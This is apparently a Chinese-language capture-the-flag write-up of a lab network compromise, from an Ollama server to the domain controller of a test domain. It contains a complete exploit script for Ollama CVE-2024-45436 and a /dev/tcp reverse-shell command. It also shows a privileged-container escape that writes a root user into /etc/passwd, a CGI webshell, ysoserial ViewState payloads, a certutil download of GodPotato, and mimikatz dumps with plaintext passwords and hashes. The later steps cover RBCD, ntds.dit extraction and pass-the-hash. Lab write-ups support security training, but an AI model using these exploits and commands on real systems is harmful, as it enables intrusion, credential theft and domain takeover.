我说白了, 172.22.10.7 和💩有什么区别
外网
略, 在 CISCN WP 那篇里有写
内网
扫描网段
172.22.10.22
172.17.0.1
做代理
ssh -D 1080 -N -f [email protected]
172.17.0.1
没有东西
(icmp) Target 172.17.0.1 is alive 本机
(icmp) Target 172.17.0.2 is alive
172.17.0.1:3306 open
172.17.0.1:8081 open
172.17.0.1:80 open
172.17.0.1:22 open
172.17.0.1:8080 open
172.17.0.2:6379 open
172.17.0.1:6379 open
172.22.10.22
(icmp) Target 172.22.10.22 is alive 本机
(icmp) Target 172.22.10.17 is alive ollama
(icmp) Target 172.22.10.88 is alive
(icmp) Target 172.22.10.253 is alive
172.22.10.88:445 open
172.22.10.88:139 open
172.22.10.88:80 open
172.22.10.17:22 open
172.22.10.88:21 open
172.22.10.88:135 open
ollama
{"version":"0.1.46"}
#!/usr/bin/env python3
import argparse
import hashlib
import json
import os
import subprocess
import zipfile
import requests
import sys
from urllib.parse import urlparse
# Payload template for the malicious shared object
CODE = """#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void __attribute__((constructor)) myInitFunction() {
const char *f1 = "/etc/ld.so.preload";
const char *f2 = "/tmp/hook.so";
unlink(f1);
unlink(f2);
system("bash -c '%s'");
}"""
def print_status(message, is_error=False):
"""Print colored status messages"""
if is_error:
print(f"\033[91m[!] {message}\033[0m")
else:
print(f"\033[94m[+] {message}\033[0m")
def format_url(url):
"""Format and validate the URL"""
if not url.startswith(('http://', 'https://')):
url = 'http://' + url
parsed_url = urlparse(url)
return f"{parsed_url.scheme}://{parsed_url.netloc}"
def check_vulnerability(target_url):
"""Check if the target is vulnerable"""
try:
res = requests.get(f"{target_url}/api/version", timeout=5)
if res.status_code != 200:
return False
json_data = res.json()
if "version" not in json_data:
return False
# Check if version is less than 0.1.47
v1 = list(map(int, json_data["version"].split('.')))
v2 = list(map(int, "0.1.47".split('.')))
for num1, num2 in zip(v1, v2):
if num1 < num2:
return True
elif num1 > num2:
return False
return len(v1) < len(v2)
except:
return False
def create_malicious_so(cmd):
"""Generate malicious shared object file"""
code = CODE % cmd
with open('tmp.c', 'w') as f:
f.write(code)
try:
subprocess.run(['gcc', 'tmp.c', '-o', 'hook.so', '-fPIC', '-shared', '-ldl', '-D_GNU_SOURCE'],
check=True, stderr=subprocess.PIPE)
return True
except subprocess.CalledProcessError as e:
print_status(f"Failed to compile hook.so: {e.stderr.decode()}", True)
return False
def create_malicious_zip():
"""Create ZIP file with directory traversal for payload delivery"""
try:
with zipfile.ZipFile('evil.zip', 'w') as zipf:
zipf.writestr('../../../../../../../../../../etc/ld.so.preload', '/tmp/hook.so')
with open('hook.so', 'rb') as so_file:
zipf.writestr('../../../../../../../../../../tmp/hook.so', so_file.read())
with open('all-minilm-22m.gguf', 'rb') as model_file:
zipf.writestr('../../../../../../../../../../tmp/all-minilm-22m.gguf', model_file.read())
return True
except Exception as e:
print_status(f"Failed to create ZIP: {str(e)}", True)
return False
def upload_payload(target_url):
"""Upload the payload blob"""
try:
with open('evil.zip', 'rb') as f:
file_content = f.read()
h = hashlib.sha256()
h.update(file_content)
blob_name = f"sha256:{h.hexdigest()}"
f.seek(0)
res = requests.post(f"{target_url}/api/blobs/{blob_name}", data=f, timeout=10)
if res.status_code != 201:
print_status(f"Warning: Blob upload returned status {res.status_code}", True)
return blob_name
except Exception as e:
print_status(f"Failed to upload blob: {str(e)}", True)
return None
def create_model(target_url, blob_path):
"""Create a model that references the malicious blob"""
try:
json_content = json.dumps({"name": "test", "modelfile": f"FROM /root/.ollama/models/blobs/{blob_path}"})
res = requests.post(
f"{target_url}/api/create",
headers={'Content-Type': 'application/json'},
data=json_content,
timeout=10
)
print(res.text)
return res.status_code == 200
except Exception as e:
print_status(f"Failed to create model: {str(e)}", True)
return False
def trigger_execution(target_url):
"""Trigger code execution through embeddings API"""
model = "all-minilm:22m"
for i in range(3):
print_status(f"Execution attempt {i+1}/3...")
try:
json_content = json.dumps({"model": model, "keep_alive": 0})
res = requests.post(
f"{target_url}/api/embeddings",
headers={'Content-Type': 'application/json'},
data=json_content,
timeout=15
)
if res.status_code == 200:
print(res.text)
print_status("Execution successful")
return True
except Exception:
pass
# Pull the model if it's not available
try:
json_content = json.dumps({"name": "all-minilm:22m", "modelfile": f"FROM /tmp/all-minilm-22m.gguf"})
res = requests.post(
f"{target_url}/api/create",
headers={'Content-Type': 'application/json'},
data=json_content,
timeout=10
)
print(res.text)
except:
continue
return False
def cleanup():
"""Clean up temporary files"""
for f in ['tmp.c', 'hook.so', 'evil.zip']:
if os.path.exists(f):
try:
os.remove(f)
except:
pass
def main():
parser = argparse.ArgumentParser(description='Ollama CVE-2024-45436 Remote Command Execution Exploit')
parser.add_argument('target', help='Target URL (e.g. http://example.com:11434)')
parser.add_argument('command', help='Command to execute on the target')
parser.add_argument('--no-cleanup', action='store_true', help='Do not remove temporary files')
args = parser.parse_args()
print("\n=== Ollama CVE-2024-45436 Exploit ===\n")
# Format and validate the URL
target_url = format_url(args.target)
print_status(f"Target: {target_url}")
print_status(f"Command: {args.command}")
# Check if target is vulnerable
print_status("Checking if target is vulnerable...")
if not check_vulnerability(target_url):
print_status("Target does not appear to be vulnerable", True)
sys.exit(1)
print_status("Target is vulnerable!")
# Create malicious shared object
print_status("Creating malicious shared object...")
if not create_malicious_so(args.command):
print_status("Failed to create shared object", True)
cleanup()
sys.exit(1)
# Create malicious ZIP
print_status("Creating ZIP payload...")
if not create_malicious_zip():
print_status("Failed to create ZIP payload", True)
cleanup()
sys.exit(1)
# Upload payload
print_status("Uploading payload...")
blob_name = upload_payload(target_url)
if not blob_name:
print_status("Failed to upload payload", True)
cleanup()
sys.exit(1)
print_status(f"Payload uploaded: {blob_name}")
# Create model with payload
print_status("Creating model...")
if not create_model(target_url, blob_name.replace(':', '-')):
print_status("Failed to create model", True)
cleanup()
sys.exit(1)
# Trigger execution
print_status("Triggering exploitation...")
success = trigger_execution(target_url)
# Clean up
if not args.no_cleanup:
print_status("Cleaning up temporary files...")
cleanup()
if success:
print("\n\033[92m[✓] Exploit completed successfully!\033[0m")
else:
print("\n\033[91m[✗] Exploit may have failed. Check if your command executed.\033[0m")
print("\033[93m Note: Some commands may execute silently. Check your listener if applicable.\033[0m")
print("\n=== Exploit finished ===\n")
if __name__ == "__main__":
main()
python3 exp.py http://172.22.10.17:11434 "/bin/sh -i >& /dev/tcp/172.22.10.22/9999 0>&1"
弹完 shell 后发现是个 docker 环境
# cat /proc/self/status | grep CapEff
CapEff: 0000003fffffffff
特权启动,没什么好说的, 直接挂载了
mkdir -p /test && mount /dev/vda3 /test
写个用户 new:123
echo bmV3OiQxJG5ldyRwN3B0a0VLVTFIbmFIcFJ0ek5pelMxOjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaA== | base64 -d >> /test/etc/passwd
172.22.10.88
给一个我的示例
SetHandler cgi-script
Options ExecCGI
@echo off
REM CGI 必须先输出响应头
echo Content-Type: text/plain
echo:
"12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3""12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3""12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3""12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3""12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3""12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3"
"12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3"
"12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3"
"12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3"
"12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3"
"12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3"
"12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3"
"12dakdsjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdaaaaaasdddddddddddddddd3"
echo:
dir C:\Users\Administrator\Desktop\
echo:
type C:\Users\Administrator\Desktop\f1ag.txt
echo:
net user dionysus qwer1234! /add && net localgroup administrators dionysus /add
172.22.10.7
纯屎, 屎中屎中屎
端口是 8080, /h2-console
给了 postgresql jdbc依赖,
不出外网, 只开了 8080 端口, 内部探测有 139 445 3389, 确定是 Windows 机器
域内
ollama 打进来有两个网段
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.22.10.17 netmask 255.255.255.0 broadcast 172.22.10.255
inet6 fe80::216:3eff:fe09:530f prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:09:53:0f txqueuelen 1000 (Ethernet)
RX packets 131279 bytes 192562970 (192.5 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 6987 bytes 522365 (522.3 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.22.20.11 netmask 255.255.255.0 broadcast 172.22.20.255
inet6 fe80::216:3eff:fe09:5339 prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:09:53:39 txqueuelen 1000 (Ethernet)
RX packets 5729 bytes 645297 (645.2 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 7298 bytes 693521 (693.5 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
先搜集一下信息
(icmp) Target 172.22.20.11 is alive (本机)
(icmp) Target 172.22.20.25 is alive
(icmp) Target 172.22.20.32 is alive
(icmp) Target 172.22.20.38 is alive
(icmp) Target 172.22.20.165 is alive
(icmp) Target 172.22.20.253 is alive
start vulscan
[*] NetBios: 172.22.20.25 [+]DC FPCORP\FPSRVAD01
[*] NetBios: 172.22.20.32 FPCORP\FPSRVFS02
[*] NetBios: 172.22.20.38 FPCORP\FPSRVIIS03
[*] NetBios: FPCORP\FPSRVIIS03-2
[*] NetInfo:
[*]172.22.20.32
[->]FPSRVFS02
[->]172.22.20.32
[*] NetInfo:
[*]172.22.20.38
[->]FPSRVIIS03
[->]172.22.20.38
[*] NetInfo:
[*]172.22.20.25
[->]FPSRVAD01
[->]172.22.20.25
[*] WebTitle: http://172.22.20.38 code:404 len:315 title:Not Found
[*] NetInfo:
[*]172.22.20.165
[->]FPSRVIIS03-2
[->]172.22.20.165
[+] ftp://172.22.20.38:21:anonymous
[->]WebDeploy
[*] WebTitle: http://172.22.20.38:8080 code:200 len:5078 title:IntraFetch
[*] WebTitle: https://172.22.20.38:8172 code:404 len:0 title:None
做代理
ssh -J [email protected] -D 0.0.0.0:1081 -N -f [email protected]
172.22.20.38
依旧ftp
125 Data connection already open; Transfer starting.
07-04-25 09:58AM 3498 package.deploy-readme.txt
07-04-25 09:58AM 14441 package.deploy.cmd
07-04-25 09:58AM 446 package.SetParameters.xml
07-04-25 09:58AM 543 package.SourceManifest.xml
07-04-25 09:58AM 12105992 package.zip
226 Transfer complete.
ftp>
分析一下就知道是 net 反序列化, 收集几个关键的数据
验证密钥validationKey配置为1B7E26950A9C9ABFE4FE72FF25649D4DC4CA6286F3943D3ABB1B70AC6D81142D000CC3880E137C49954EF6284980381A2C674F785C13C960BDE13CB2595873FD
解密密钥decryptionKey配置为6424A8B2C8CE51FEFECBDBE795A8F33EBD81234CB655F610EEC49CFA13F89CC1
验证算法validation配置为SHA1
解密算法decryption配置为AES
最终 poc, 注意一下 csrf_token
作为了viewstateuserkey
.\ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck -c "ignore" --path="/Default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="6424A8B2C8CE51FEFECBDBE795A8F33EBD81234CB655F610EEC49CFA13F89CC1" --validationalg="SHA1" --validationkey="1B7E26950A9C9ABFE4FE72FF25649D4DC4CA6286F3943D3ABB1B70AC6D81142D000CC3880E137C49954EF6284980381A2C674F785C13C960BDE13CB2595873FD" --viewstateuserkey="b542e0802c6d419cbb7d7a0d9ac29db1" --isdebug
.\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass2.cs;./System.dll;./System.Web.dll" --path="/Default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="6424A8B2C8CE51FEFECBDBE795A8F33EBD81234CB655F610EEC49CFA13F89CC1" --validationalg="SHA1" --validationkey="1B7E26950A9C9ABFE4FE72FF25649D4DC4CA6286F3943D3ABB1B70AC6D81142D000CC3880E137C49954EF6284980381A2C674F785C13C960BDE13CB2595873FD" --viewstateuserkey="b542e0802c6d419cbb7d7a0d9ac29db1" --isdebug
ExploitClass2.cs
里是个马,然后传参带上 cmd,执行命令
搜集一下 whoami /priv
特权名 描述 状态
============================= ==================== ======
SeAssignPrimaryTokenPrivilege 替换一个进程级令牌 已禁用
SeIncreaseQuotaPrivilege 为进程调整内存配额 已禁用
SeAuditPrivilege 生成安全审核 已禁用
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeImpersonatePrivilege 身份验证后模拟客户端 已启用
SeCreateGlobalPrivilege 创建全局对象 已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集 已禁用
用GodPotato提权
certutil.exe -urlcache -split -f http://172.22.10.17/GodPotato.exe C:\Windows\Temp\GodPotato.exe
C:\Windows\Temp\GodPotato.exe -cmd "net user dionysus qwer1234! /add"
C:\Windows\Temp\GodPotato.exe -cmd "net localgroup administrators dionysus /add"
RDP登录上去猕猴桃抓一下
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
可以抓到管理 hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c4959ee9eaac8a9adb8beda8ab0fc6bd:::
访问文件系统
impacket-smbclient -hashes aad3b435b51404eeaad3b435b51404ee:c4959ee9eaac8a9adb8beda8ab0fc6bd -no-pass -dc-ip 172.22.20.25 'FPCORP/[email protected]'
有东西但是不知道怎么用,filesrv 全是垃圾
ADMIN$
C$
filesrv
IPC$
芝士雪豹
这个时候跑一下SharpHound搜集信息,了解一下思路
非常清晰, 拿 LIU 账户权限, 利用 GenericWrite
属性, 打 RBCD, 之后抓 SVC_BKPADMIN
的 hash, CanPSRemote 过去之后提权即可.
172.22.20.165
38 那台 flag 同目录下提示, 去找 vs 的被下载的日志, 发现两分钟被下载一次
我是真不理解, 定时轮询拉的 exe, 替换 exe 后拿不到监听.
免杀
真相是有个 defender, 向学长借一个马. flag 在 administrator桌面, 用户就是 administrator 组, 只不过要bypassUAC绕过
172.22.20.32
此处有个非常恶心人的东西, 装 360 关掉 Windows Defender 后, 总是弹出有问题要重启, 然后需要的 liu 账户就消失了
用 HashDump.exe
转储一下
Authentication Id : 0 ; 128183 (00000000:0001f4b7)
Session : Service from 0
User Name : liu654
Domain : FPCORP
Logon Server : FPSRVAD01
Logon Time : 2025/8/11 23:12:32
SID : S-1-5-21-3225782379-1150096479-4236096888-1138
msv :
[00000003] Primary
* Username : liu654
* Domain : FPCORP
* NTLM : 9d0692eade0a6529acb5f0b122ae8763
* SHA1 : ab55a10d983dfb60e0f633175af8e6e939bfb020
* DPAPI : 769347cc561870207141327479e8be4e
tspkg :
wdigest :
* Username : liu654
* Domain : FPCORP
* Password : (null)
kerberos :
* Username : liu654
* Domain : FPCORP.INT
* Password : p1Uf^yko@+yHS
ssp :
credman :
cloudap :
之前分析一下域内关系就知道, 拿到liu654
的账户之后,接下来是经典的 RBCD 了
addcomputer.py -method SAMR FPCORP.INT/liu654:'p1Uf^yko@+yHS' -computer-name test\$ -computer-pass Passw0rd -dc-ip 172.22.20.25
rbcd.py FPCORP.INT/liu654 -hashes :9d0692eade0a6529acb5f0b122ae8763 -dc-ip 172.22.20.25 -action write -delegate-to FPSRVFS02\$ -delegate-from test\$
之后就连上去了, 注意别用 psexec,会被Windows defender 杀掉的
export KRB5CCNAME=administrator@[email protected]
wmiexec.py [email protected] -k -no-pass -dc-ip 172.22.20.25 -codec gbk
拿到权限之后上去直接抓 hash
Authentication Id : 0 ; 95966 (00000000:000176de)
Session : Service from 0
User Name : svc_bkpadmin
Domain : FPCORP
Logon Server : FPSRVAD01
Logon Time : 2025/8/11 23:12:54
SID : S-1-5-21-3225782379-1150096479-4236096888-1176
msv :
[00000003] Primary
* Username : svc_bkpadmin
* Domain : FPCORP
* NTLM : f2f3e075ca082813f0d8191f947b0e01
* SHA1 : 272514fca4ff5d1dbde31190d29158693c788333
* DPAPI : f5b7f440b2e68c1592f2dd9d7d8e0466
tspkg :
wdigest :
* Username : svc_bkpadmin
* Domain : FPCORP
* Password : (null)
kerberos :
* Username : svc_bkpadmin
* Domain : FPCORP.INT
* Password : kzmR^lBw1!8BL
ssp :
credman :
cloudap :
172.22.20.25 域控
有了用户名和密码, 有CanPSRemote权限, 直接拿下
evil-winrm -i 172.22.20.25 -u svc_bkpadmin -p 'kzmR^lBw1!8BL'
特权信息
----------------------
特权名 描述 状态
============================= ================ ======
SeMachineAccountPrivilege 将工作站添加到域 已启用
SeBackupPrivilege 备份文件和目录 已启用
SeRestorePrivilege 还原文件和目录 已启用
SeShutdownPrivilege 关闭系统 已启用
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集 已启用
之后是卷影复制,记得用unix2dos raj.dsh
转一下格式
#raj.dsh
set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:
转储一下文件
#上传之后
diskshadow /s raj.dsh
RoboCopy /b z:\windows\ntds . ntds.dit
reg save HKLM\system C:\Windows\Temp\system /y
evil-winrm
直接 download 下来, impacket-secretsdump -ntds ntds.dit -system system local
可以拿到管理员的 hash 972ffc4a036603066d388a1e28b4f583
, 直接拿下最后一台机器
wmiexec.py -hashes :972ffc4a036603066d388a1e28b4f583 [email protected] -codec gbk